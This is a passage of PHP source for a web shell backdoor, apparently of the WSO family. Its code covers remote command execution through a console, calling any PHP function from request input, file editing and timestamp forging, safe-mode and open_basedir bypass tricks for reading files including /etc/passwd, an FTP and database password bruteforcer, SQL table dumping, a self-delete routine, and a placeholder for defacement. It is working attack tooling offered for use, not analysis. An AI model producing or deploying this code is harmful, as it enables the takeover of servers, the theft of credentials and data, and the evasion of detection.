655 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
656 $links[] = array_merge($tmp, array('type' => 'link'));
657 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
658 $dirs[] = array_merge($tmp, array('type' => 'dir'));
659 }
660 $GLOBALS['sort'] = $sort;
661 function cmp($a, $b) {
662 if($GLOBALS['sort'][0] != 'size')
663 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
664 else
665 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
666 }
667 usort($files, "cmp");
668 usort($dirs, "cmp");
669 usort($links, "cmp");
670 $files = array_merge($dirs, $links, $files);
671 $l = 0;
672 foreach($files as $f) {
673 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
674 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
675 $l = $l?0:1;
676 }
677 echo '<tr><td colspan=5>
678 <input type=hidden name=a value=\'FilesMan\'>
679 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
680 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
681 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
682 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
683 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" value="Comming Soon!!!" disabled="disabled"/> <input type="submit" value="Add Deface Here" disabled="disabled"></td></tr>
684 </form></table></div>';
685 printFooter();
686}
687
688function actionStringTools() {
689 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
690 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
691 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
692 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
693
694 if(isset($_POST['ajax'])) {
695 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
696 ob_start();
697 if(function_exists($_POST['p1']))
698 echo $_POST['p1']($_POST['p2']);
699 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
700 echo strlen($temp), "\n", $temp;
701 exit;
702 }
703 printHeader();
704 echo '<h1>String conversions</h1><div class=content>';
705 $stringTools = array(
706 'Base64 encode' => 'base64_encode',
707 'Base64 decode' => 'base64_decode',
708 'Url encode' => 'urlencode',
709 'Url decode' => 'urldecode',
710 'Full urlencode' => 'full_urlencode',
711 'md5 hash' => 'md5',
712 'sha1 hash' => 'sha1',
713 'crypt' => 'crypt',
714 'CRC32' => 'crc32',
715 'ASCII to HEX' => 'ascii2hex',
716 'HEX to ASCII' => 'hex2ascii',
717 'HEX to DEC' => 'hexdec',
718 'HEX to BIN' => 'hex2bin',
719 'DEC to HEX' => 'dechex',
720 'DEC to BIN' => 'decbin',
721 'BIN to HEX' => 'bin2hex',
722 'BIN to DEC' => 'bindec',
723 'String to lower case' => 'strtolower',
724 'String to upper case' => 'strtoupper',
725 'Htmlspecialchars' => 'htmlspecialchars',
726 'String length' => 'strlen',
727 );
728 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
729 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
730 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
731 foreach($stringTools as $k => $v)
732 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
733 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
734 if(!empty($_POST['p1'])) {
735 if(function_exists($_POST['p1']))
736 echo htmlspecialchars($_POST['p1']($_POST['p2']));
737 }
738 echo"</pre></div>";
739 printFooter();
740}
741
742function actionFilesTools() {
743 if( isset($_POST['p1']) )
744 $_POST['p1'] = urldecode($_POST['p1']);
745 if(@$_POST['p2']=='download') {
746 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
747 ob_start("ob_gzhandler", 4096);
748 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
749 if (function_exists("mime_content_type")) {
750 $type = @mime_content_type($_POST['p1']);
751 header("Content-Type: ".$type);
752 }
753 $fp = @fopen($_POST['p1'], "r");
754 if($fp) {
755 while(!@feof($fp))
756 echo @fread($fp, 1024);
757 fclose($fp);
758 }
759 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
760
761 }
762 exit;
763 }
764 if( @$_POST['p2'] == 'mkfile' ) {
765 if(!file_exists($_POST['p1'])) {
766 $fp = @fopen($_POST['p1'], 'w');
767 if($fp) {
768 $_POST['p2'] = "edit";
769 fclose($fp);
770 }
771 }
772 }
773 printHeader();
774 echo '<h1>File tools</h1><div class=content>';
775 if( !file_exists(@$_POST['p1']) ) {
776 echo 'File not exists';
777 printFooter();
778 return;
779 }
780 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
781 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
782 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
783 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
784 if( empty($_POST['p2']) )
785 $_POST['p2'] = 'view';
786 if( is_file($_POST['p1']) )
787 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
788 else
789 $m = array('Chmod', 'Rename', 'Touch');
790 foreach($m as $v)
791 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
792 echo '<br><br>';
793 switch($_POST['p2']) {
794 case 'view':
795 echo '<pre class=ml1>';
796 $fp = @fopen($_POST['p1'], 'r');
797 if($fp) {
798 while( !@feof($fp) )
799 echo htmlspecialchars(@fread($fp, 1024));
800 @fclose($fp);
801 }
802 echo '</pre>';
803 break;
804 case 'highlight':
805 if( is_readable($_POST['p1']) ) {
806 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
807 $code = highlight_file($_POST['p1'],true);
808 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
809 }
810 break;
811 case 'chmod':
812 if( !empty($_POST['p3']) ) {
813 $perms = 0;
814 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
815 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
816 if(!@chmod($_POST['p1'], $perms))
817 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
818 else
819 die('<script>g(null,null,null,null,"")</script>');
820 }
821 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
822 break;
823 case 'edit':
824 if( !is_writable($_POST['p1'])) {
825 echo 'File isn\'t writeable';
826 break;
827 }
828 if( !empty($_POST['p3']) ) {
829 @file_put_contents($_POST['p1'],$_POST['p3']);
830 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
831 }
832 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
833 $fp = @fopen($_POST['p1'], 'r');
834 if($fp) {
835 while( !@feof($fp) )
836 echo htmlspecialchars(@fread($fp, 1024));
837 @fclose($fp);
838 }
839 echo '</textarea><input type=submit value=">>"></form>';
840 break;
841 case 'hexdump':
842 $c = @file_get_contents($_POST['p1']);
843 $n = 0;
844 $h = array('00000000<br>','','');
845 $len = strlen($c);
846 for ($i=0; $i<$len; ++$i) {
847 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
848 switch ( ord($c[$i]) ) {
849 case 0: $h[2] .= ' '; break;
850 case 9: $h[2] .= ' '; break;
851 case 10: $h[2] .= ' '; break;
852 case 13: $h[2] .= ' '; break;
853 default: $h[2] .= $c[$i]; break;
854 }
855 $n++;
856 if ($n == 32) {
857 $n = 0;
858 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
859 $h[1] .= '<br>';
860 $h[2] .= "\n";
861 }
862 }
863 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
864 break;
865 case 'rename':
866 if( !empty($_POST['p3']) ) {
867 if(!@rename($_POST['p1'], $_POST['p3']))
868 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
869 else
870 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
871 }
872 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
873 break;
874 case 'touch':
875 if( !empty($_POST['p3']) ) {
876 $time = strtotime($_POST['p3']);
877 if($time) {
878 if(@touch($_POST['p1'],$time,$time))
879 die('<script>g(null,null,null,null,"")</script>');
880 else {
881 echo 'Fail!<script>document.mf.p3.value="";</script>';
882 }
883 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
884 }
885 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
886 break;
887 case 'mkfile':
888
889 break;
890 }
891 echo '</div>';
892 printFooter();
893}
894
895function actionSafeMode() {
896 $temp='';
897 ob_start();
898 switch($_POST['p1']) {
899 case 1:
900 $temp=@tempnam($test, 'cx');
901 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
902 echo @file_get_contents($temp);
903 unlink($temp);
904 } else
905 echo 'Sorry... Can\'t open file';
906 break;
907 case 2:
908 $files = glob($_POST['p2'].'*');
909 if( is_array($files) )
910 foreach ($files as $filename)
911 echo $filename."\n";
912 break;
913 case 3:
914 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
915 curl_exec($ch);
916 break;
917 case 4:
918 ini_restore("safe_mode");
919 ini_restore("open_basedir");
920 include($_POST['p2']);
921 break;
922 case 5:
923 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
924 $uid = @posix_getpwuid($_POST['p2']);
925 if ($uid)
926 echo join(':',$uid)."\n";
927 }
928 break;
929 case 6:
930 if(!function_exists('imap_open'))break;
931 $stream = imap_open($_POST['p2'], "", "");
932 if ($stream == FALSE)
933 break;
934 echo imap_body($stream, 1);
935 imap_close($stream);
936 break;
937 }
938 $temp = ob_get_clean();
939 printHeader();
940 echo '<h1>Safe mode bypass</h1><div class=content>';
941 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
942 if($temp)
943 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
944 echo '</div>';
945 printFooter();
946}
947
948function actionConsole() {
949 if(isset($_POST['ajax'])) {
950 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
951 ob_start();
952 echo "document.cf.cmd.value='';\n";
953 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
954 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
955 if(@chdir($match[1])) {
956 $GLOBALS['cwd'] = @getcwd();
957 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
958 }
959 }
960 echo "document.cf.output.value+='".$temp."';";
961 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
962 $temp = ob_get_clean();
963 echo strlen($temp), "\n", $temp;
964 exit;
965 }
966 printHeader();
967
968echo '<script>
969if(window.Event) window.captureEvents(Event.KEYDOWN);
970var cmds = new Array("");
971var cur = 0;
972function kp(e) {
973 var n = (window.Event) ? e.which : e.keyCode;
974 if(n == 38) {
975 cur--;
976 if(cur>=0)
977 document.cf.cmd.value = cmds[cur];
978 else
979 cur++;
980 } else if(n == 40) {
981 cur++;
982 if(cur < cmds.length)
983 document.cf.cmd.value = cmds[cur];
984 else
985 cur--;
986 }
987}
988function add(cmd) {
989 cmds.pop();
990 cmds.push(cmd);
991 cmds.push("");
992 cur = cmds.length-1;
993}
994</script>';
995 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
996 foreach($GLOBALS['aliases'] as $n => $v) {
997 if($v == '') {
998 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
999 continue;
1000 }
1001 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1002 }
1003 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1004 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1005 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1006 if(!empty($_POST['p1'])) {
1007 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1008 }
1009 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
1010 echo '</form></div><script>document.cf.cmd.focus();</script>';
1011 printFooter();
1012}
1013
1014function actionLogout() {
1015 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1016 echo '<body bgcolor=#000000><center><img src="http://www.itechcode.com/wp-content/uploads/2012/04/Secret-of-Blogging-Successfully.jpg"></center></body>';
1017}
1018
1019function actionSelfRemove() {
1020 printHeader();
1021 if($_POST['p1'] == 'yes') {
1022 if(@unlink(SELF_PATH))
1023 die('Shell has been removed');
1024 else
1025 echo 'unlink error!';
1026 }
1027 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1028 printFooter();
1029}
1030
1031function actionBruteforce() {
1032 printHeader();
1033 if( isset($_POST['proto']) ) {
1034 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1035 if( $_POST['proto'] == 'ftp' ) {
1036 function bruteForce($ip,$port,$login,$pass) {
1037 $fp = @ftp_connect($ip, $port?$port:21);
1038 if(!$fp) return false;
1039 $res = @ftp_login($fp, $login, $pass);
1040 @ftp_close($fp);
1041 return $res;
1042 }
1043 } elseif( $_POST['proto'] == 'mysql' ) {
1044 function bruteForce($ip,$port,$login,$pass) {
1045 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1046 @mysql_close($res);
1047 return $res;
1048 }
1049 } elseif( $_POST['proto'] == 'pgsql' ) {
1050 function bruteForce($ip,$port,$login,$pass) {
1051 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1052 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1053 @pg_close($res);
1054 return $res;
1055 }
1056 }
1057 $success = 0;
1058 $attempts = 0;
1059 $server = explode(":", $_POST['server']);
1060 if($_POST['type'] == 1) {
1061 $temp = @file('/etc/passwd');
1062 if( is_array($temp) )
1063 foreach($temp as $line) {
1064 $line = explode(":", $line);
1065 ++$attempts;
1066 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1067 $success++;
1068 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1069 }
1070 if(@$_POST['reverse']) {
1071 $tmp = "";
1072 for($i=strlen($line[0])-1; $i>=0; --$i)
1073 $tmp .= $line[0][$i];
1074 ++$attempts;
1075 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1076 $success++;
1077 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1078 }
1079 }
1080 }
1081 } elseif($_POST['type'] == 2) {
1082 $temp = @file($_POST['dict']);
1083 if( is_array($temp) )
1084 foreach($temp as $line) {
1085 $line = trim($line);
1086 ++$attempts;
1087 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1088 $success++;
1089 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1090 }
1091 }
1092 }
1093 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1094 }
1095 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1096 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1097 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1098 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1099 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1100 .'<span>Server:port</span></td>'
1101 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1102 .'<tr><td><span>Brute type</span></td>'
1103 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1104 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1105 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1106 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1107 .'<td><input type=text name=login value="root"></td></tr>'
1108 .'<tr><td><span>Dictionary</span></td>'
1109 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1110 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1111 echo '</div><br>';
1112 printFooter();
1113}
1114
1115function actionSql() {
1116 class DbClass {
1117 var $type;
1118 var $link;
1119 var $res;
1120 function DbClass($type) {
1121 $this->type = $type;
1122 }
1123 function connect($host, $user, $pass, $dbname){
1124 switch($this->type) {
1125 case 'mysql':
1126 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1127 break;
1128 case 'pgsql':
1129 $host = explode(':', $host);
1130 if(!$host[1]) $host[1]=5432;
1131 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1132 break;
1133 }
1134 return false;
1135 }
1136 function selectdb($db) {
1137 switch($this->type) {
1138 case 'mysql':
1139 if (@mysql_select_db($db))return true;
1140 break;
1141 }
1142 return false;
1143 }
1144 function query($str) {
1145 switch($this->type) {
1146 case 'mysql':
1147 return $this->res = @mysql_query($str);
1148 break;
1149 case 'pgsql':
1150 return $this->res = @pg_query($this->link,$str);
1151 break;
1152 }
1153 return false;
1154 }
1155 function fetch() {
1156 $res = func_num_args()?func_get_arg(0):$this->res;
1157 switch($this->type) {
1158 case 'mysql':
1159 return @mysql_fetch_assoc($res);
1160 break;
1161 case 'pgsql':
1162 return @pg_fetch_assoc($res);
1163 break;
1164 }
1165 return false;
1166 }
1167 function listDbs() {
1168 switch($this->type) {
1169 case 'mysql':
1170 return $this->res = @mysql_list_dbs($this->link);
1171 break;
1172 case 'pgsql':
1173 return $this->res = $this->query("SELECT datname FROM pg_database");
1174 break;
1175 }
1176 return false;
1177 }
1178 function listTables() {
1179 switch($this->type) {
1180 case 'mysql':
1181 return $this->res = $this->query('SHOW TABLES');
1182 break;
1183 case 'pgsql':
1184 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1185 break;
1186 }
1187 return false;
1188 }
1189 function error() {
1190 switch($this->type) {
1191 case 'mysql':
1192 return @mysql_error($this->link);
1193 break;
1194 case 'pgsql':
1195 return @pg_last_error($this->link);
1196 break;
1197 }
1198 return false;
1199 }
1200 function setCharset($str) {
1201 switch($this->type) {
1202 case 'mysql':
1203 if(function_exists('mysql_set_charset'))
1204 return @mysql_set_charset($str, $this->link);
1205 else
1206 $this->query('SET CHARSET '.$str);
1207 break;
1208 case 'mysql':
1209 return @pg_set_client_encoding($this->link, $str);
1210 break;
1211 }
1212 return false;
1213 }
1214 function dump($table) {
1215 switch($this->type) {
1216 case 'mysql':
1217 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1218 $create = mysql_fetch_array($res);
1219 echo $create[1].";\n\n";
1220 $this->query('SELECT * FROM `'.$table.'`');
1221 while($item = $this->fetch()) {
1222 $columns = array();
1223 foreach($item as $k=>$v) {
1224 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1225 $columns[] = "`".$k."`";
1226 }
1227 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1228 }
1229 break;
1230 case 'pgsql':
1231 $this->query('SELECT * FROM '.$table);
1232 while($item = $this->fetch()) {
1233 $columns = array();
1234 foreach($item as $k=>$v) {
1235 $item[$k] = "'".addslashes($v)."'";
1236 $columns[] = $k;
1237 }
1238 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1239 }
1240 break;
1241 }
1242 return false;
1243 }
1244 };
1245 $db = new DbClass(@$_POST['type']);
1246 if(@$_POST['p2']=='download') {
1247 ob_start("ob_gzhandler", 4096);
1248 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1249 $db->selectdb($_POST['sql_base']);
1250 header("Content-Disposition: attachment; filename=dump.sql");
1251 header("Content-Type: text/plain");
1252 foreach($_POST['tbl'] as $v)
1253 $db->dump($v);
1254 exit;
1255 }
1256 printHeader();
1257 echo '<h1>Sql browser</h1><div class=content>
1258 <form name="sf" method="post">
1259 <table cellpadding="2" cellspacing="0">
1260 <tr>
1261 <td>Type</td>
1262 <td>Host</td>
1263 <td>Login</td>
1264 <td>Password</td>
1265 <td>Database</td>
1266 <td></td>
1267 </tr>
1268 <tr>
1269 <input type=hidden name=a value=Sql>
1270 <input type=hidden name=p1 value=\'query\'>
1271 <input type=hidden name=p2>
1272 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1273 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1274 <td>
1275 <select name=\'type\'>
1276 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
1277 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
1278 </select></td>
1279 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
1280 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
1281 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
1282 <td>';
1283 $tmp = "<input type=text name=sql_base value=''>";
1284 if(isset($_POST['sql_host'])){
1285 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1286 switch($_POST['charset']) {
1287 case "Windows-1251": $db->setCharset('cp1251'); break;
1288 case "UTF-8": $db->setCharset('utf8'); break;
1289 case "KOI8-R": $db->setCharset('koi8r'); break;
1290 case "KOI8-U": $db->setCharset('koi8u'); break;
1291 case "cp866": $db->setCharset('cp866'); break;
1292 }
1293 $db->listDbs();
1294 echo "<select name=sql_base><option value=''></option>";
1295 while($item = $db->fetch()) {
1296 list($key, $value) = each($item);
1297 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1298 }
1299 echo '</select>';
1300 }
1301 else echo $tmp;
1302 }else
1303 echo $tmp;
1304 echo '</td>
1305 <td><input type=submit value=">>"></td>
1306 </tr>
1307 </table>
1308 <script>
1309 function st(t,l) {
1310 document.sf.p1.value = \'select\';
1311 document.sf.p2.value = t;
1312 if(l!=null)document.sf.p3.value = l;
1313 document.sf.submit();
1314 }
1315 function is() {
1316 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1317 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1318 }
1319 </script>';
1320 if(isset($db) && $db->link){
1321 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1322 if(!empty($_POST['sql_base'])){
1323 $db->selectdb($_POST['sql_base']);
1324 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1325 $tbls_res = $db->listTables();
1326 while($item = $db->fetch($tbls_res)) {
1327 list($key, $value) = each($item);
1328 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1329 $value = htmlspecialchars($value);
1330 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1331 }
1332 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1333 if(@$_POST['p1'] == 'select') {
1334 $_POST['p1'] = 'query';
1335 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1336 $num = $db->fetch();
1337 $num = $num['n'];
1338 echo "<span>".$_POST['p2']."</span> ($num) ";
1339 for($i=0;$i<($num/30);$i++)
1340 if($i != (int)$_POST['p3'])
1341 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1342 else
1343 echo ($i+1)," ";
1344 if($_POST['type']=='pgsql')
1345 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1346 else
1347 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1348 echo "<br><br>";
1349 }
1350 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1351 $db->query(@$_POST['p3']);
1352 if($db->res !== false) {
1353 $title = false;
1354 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1355 $line = 1;
1356 while($item = $db->fetch()) {
1357 if(!$title) {
1358 echo '<tr>';
1359 foreach($item as $key => $value)
